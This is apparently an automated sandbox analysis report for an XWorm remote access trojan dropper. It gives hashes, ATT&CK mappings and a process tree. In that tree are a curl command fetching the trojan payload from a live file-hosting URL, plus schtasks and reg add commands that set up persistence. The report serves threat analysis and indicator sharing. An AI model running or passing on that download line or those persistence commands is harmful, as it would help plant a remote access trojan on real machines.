xworm | 4fc4ae98d231e2bf0b8d4ad5463d9d4f673c1d5d63dc98838cf14a61d64ce6e6

General

Target

XWormContent.exe
Size

10KB
MD5

7d4e7449b76c34210100ea88c163c7fb
SHA1

ef679b47eb42f162355e8772ceb25712dc7ec75e
SHA256

4fc4ae98d231e2bf0b8d4ad5463d9d4f673c1d5d63dc98838cf14a61d64ce6e6
SHA512

d0ef46b3e5622160e9f6ce5cac8f2b14a10bad8e2c1f91a7e1d9713fd6ed844cf74817ca050e1a2d95ee9cd24ec01c67b6e279acddc95449553effbb8354ec1e
SSDEEP

192:qLH2ANdaLix1upSiP/VunlYJLLLTuzTVQLFjb5cqfM:qLH2ydaLiO3hPLTucTf

Score

10^/10

xworm persistence rat trojan

Malware Config

Signatures

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Downloads MZ/PE file

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

XWormContent.exeXWormPanel.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation	XWormContent.exe
Key value queried	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation	XWormPanel.exe

Drops startup file 2 IoCs

Processes:

XWormPanel.exe

description	ioc	process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XWormPanel.lnk	XWormPanel.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XWormPanel.lnk	XWormPanel.exe

Executes dropped EXE 1 IoCs

Processes:

XWormPanel.exe

pid process

3764 XWormPanel.exe

pid	process
3764	XWormPanel.exe

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

XWormPanel.exereg.exereg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\XWormPanel = "C:\\Users\\Admin\\AppData\\Local\\Temp\\XWormPanel.exe"	XWormPanel.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AVAADA = "C:\\Windows\\XWormContent.exe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Software\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AVAADA = "C:\\Windows\\XWormContent.exe"	reg.exe

Drops file in Windows directory 6 IoCs

Processes:

cmd.exe

description	ioc	process
File opened for modification	C:\Windows\system.ini	cmd.exe
File created	C:\Windows\XWormContent.exe	cmd.exe
File opened for modification	C:\Windows\XWormContent.exe	cmd.exe
File created	C:\Windows\MicrosoftTeams.exe	cmd.exe
File opened for modification	C:\Windows\MicrosoftTeams.exe	cmd.exe
File opened for modification	C:\Windows\win.ini	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

1676 schtasks.exe
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

4796 timeout.exe
1716 timeout.exe
Modifies registry key 1 TTPs 2 IoCs

Modify Registry
T1112

Processes:

reg.exereg.exe

pid process

2980 reg.exe
1092 reg.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

XWormPanel.exe

pid process

3764 XWormPanel.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

XWormPanel.exe

description pid process

Token: SeDebugPrivilege 3764 XWormPanel.exe
Token: SeDebugPrivilege 3764 XWormPanel.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

XWormPanel.exe

pid process

3764 XWormPanel.exe

pid	process
1676	schtasks.exe

pid	process
4796	timeout.exe
1716	timeout.exe

pid	process
2980	reg.exe
1092	reg.exe

pid	process
3764	XWormPanel.exe

description	pid	process
Token: SeDebugPrivilege	3764	XWormPanel.exe
Token: SeDebugPrivilege	3764	XWormPanel.exe

pid	process
3764	XWormPanel.exe

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

XWormContent.execmd.exeXWormPanel.execmd.exe

description	pid	process	target process
PID 3084 wrote to memory of 3224	3084	XWormContent.exe	cmd.exe
PID 3084 wrote to memory of 3224	3084	XWormContent.exe	cmd.exe
PID 3224 wrote to memory of 228	3224	cmd.exe	curl.exe
PID 3224 wrote to memory of 228	3224	cmd.exe	curl.exe
PID 3224 wrote to memory of 4796	3224	cmd.exe	timeout.exe
PID 3224 wrote to memory of 4796	3224	cmd.exe	timeout.exe
PID 3224 wrote to memory of 3764	3224	cmd.exe	XWormPanel.exe
PID 3224 wrote to memory of 3764	3224	cmd.exe	XWormPanel.exe
PID 3224 wrote to memory of 2980	3224	cmd.exe	reg.exe
PID 3224 wrote to memory of 2980	3224	cmd.exe	reg.exe
PID 3224 wrote to memory of 1092	3224	cmd.exe	reg.exe
PID 3224 wrote to memory of 1092	3224	cmd.exe	reg.exe
PID 3764 wrote to memory of 1676	3764	XWormPanel.exe	schtasks.exe
PID 3764 wrote to memory of 1676	3764	XWormPanel.exe	schtasks.exe
PID 3764 wrote to memory of 2976	3764	XWormPanel.exe	schtasks.exe
PID 3764 wrote to memory of 2976	3764	XWormPanel.exe	schtasks.exe
PID 3764 wrote to memory of 3052	3764	XWormPanel.exe	cmd.exe
PID 3764 wrote to memory of 3052	3764	XWormPanel.exe	cmd.exe
PID 3052 wrote to memory of 1716	3052	cmd.exe	timeout.exe
PID 3052 wrote to memory of 1716	3052	cmd.exe	timeout.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\XWormContent.exe
"C:\Users\Admin\AppData\Local\Temp\XWormContent.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3084
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\cmd.bat" "
  2⤵
  - Drops file in Windows directory
  - Suspicious use of WriteProcessMemory
  PID:3224
- - C:\Windows\system32\curl.exe
    curl https://download1497.mediafire.com/av4hta6mkbagq9q63EQcCM1ZDZ0MJb3pOMqTati_JxDbj6616K7H9HKcefCbImq3V6MPY3E5pcdmBsEqSj4uScyyKg/ex02u2k9g7cros3/XClient.exe --output XWormPanel.exe
    3⤵
    PID:228
- - C:\Windows\system32\timeout.exe
    timeout -t 3
    3⤵
    - Delays execution with timeout.exe
    PID:4796
- - C:\Users\Admin\AppData\Local\Temp\XWormPanel.exe
    XWormPanel.exe
    3⤵
    - Checks computer location settings
    - Drops startup file
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:3764
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XWormPanel" /tr "C:\Users\Admin\AppData\Local\Temp\XWormPanel.exe"
      4⤵
      Creates scheduled task(s)
      PID:1676
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /delete /f /tn "XWormPanel"
      4⤵
      PID:2976
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp1F7E.tmp.bat""
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3052
    - - C:\Windows\system32\timeout.exe
        
        timeout 3
        5⤵
        Delays execution with timeout.exe
        
        PID:1716
- - C:\Windows\system32\reg.exe
    reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d C:\Windows\XWormContent.exe /f
    3⤵
    - Adds Run key to start application
    - Modifies registry key
    PID:2980
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d C:\Windows\XWormContent.exe /f
    3⤵
    - Adds Run key to start application
    - Modifies registry key
    PID:1092

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Registry Run Keys / Startup Folder

Scheduled Task

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\XWormPanel.exe

Filesize
156KB

MD5
ed44dc5ec5d2f4f29288cc873d7b6e5e

SHA1
63f471a8a2f5d21c6cc717ff4df5963fe0b426be

SHA256
4060e66fbf7ff0ba0514d76d7e89e7e79f75b381d8145eb1fad15da55a2a9393

SHA512
5aa192bfa71a94915e50ecdb40d59452b9c44bafd019b4d0632455a53034df6a28dd1bef663b0ad20889a60f65165d3ea317d1be3230c0d36d59377126a9d2a3

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C:\Users\Admin\AppData\Local\Temp\XWormPanel.exe

Filesize
156KB

MD5
ed44dc5ec5d2f4f29288cc873d7b6e5e

SHA1
63f471a8a2f5d21c6cc717ff4df5963fe0b426be

SHA256
4060e66fbf7ff0ba0514d76d7e89e7e79f75b381d8145eb1fad15da55a2a9393

SHA512
5aa192bfa71a94915e50ecdb40d59452b9c44bafd019b4d0632455a53034df6a28dd1bef663b0ad20889a60f65165d3ea317d1be3230c0d36d59377126a9d2a3

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C:\Users\Admin\AppData\Local\Temp\cmd.bat

Filesize
1KB

MD5
9ed2e107d38ab102bfe7614cfd24e829

SHA1
9541263008adf001fa4c3a0236f627223380d509

SHA256
b7583f69e19e71f24a2820d9decb63402084072889114ccab8fc98b3d16bc598

SHA512
31ab6308ba8840d2bc8667f45cec80090f595501df7851beba8584ed4556e505ddd3550cc83cdaeac38f6889904814ea155a7f779552e1c53a20885a0aefb6d2

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C:\Users\Admin\AppData\Local\Temp\tmp1F7E.tmp.bat

Filesize
162B

MD5
e6232656acc695403b429221c7e33dbb

SHA1
21a0bd725c5a0ab3936faad490b4671b01b4bb40

SHA256
ce0bf8ee1db154d086e0faf911c8b86404ffcfdada528cc0f8a6701555f09eb0

SHA512
c707fa683509236cdb097470d72e78658992400c6b16719d18f17de78dc857c8337f839aefb1be263a04e6c44409524053cefb92bcf094447ef0bbc825001f0a

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C:\Users\Admin\AppData\Roaming\Temp

Filesize
1KB

MD5
9ed2e107d38ab102bfe7614cfd24e829

SHA1
9541263008adf001fa4c3a0236f627223380d509

SHA256
b7583f69e19e71f24a2820d9decb63402084072889114ccab8fc98b3d16bc598

SHA512
31ab6308ba8840d2bc8667f45cec80090f595501df7851beba8584ed4556e505ddd3550cc83cdaeac38f6889904814ea155a7f779552e1c53a20885a0aefb6d2

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memory/3084-133-0x0000000000620000-0x0000000000628000-memory.dmp

Filesize
32KB

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memory/3764-147-0x0000000000C30000-0x0000000000C5C000-memory.dmp

Filesize
176KB

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memory/3764-161-0x000000001B8D0000-0x000000001B8E0000-memory.dmp

Filesize
64KB

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memory/3764-162-0x000000001B8D0000-0x000000001B8E0000-memory.dmp

Filesize
64KB

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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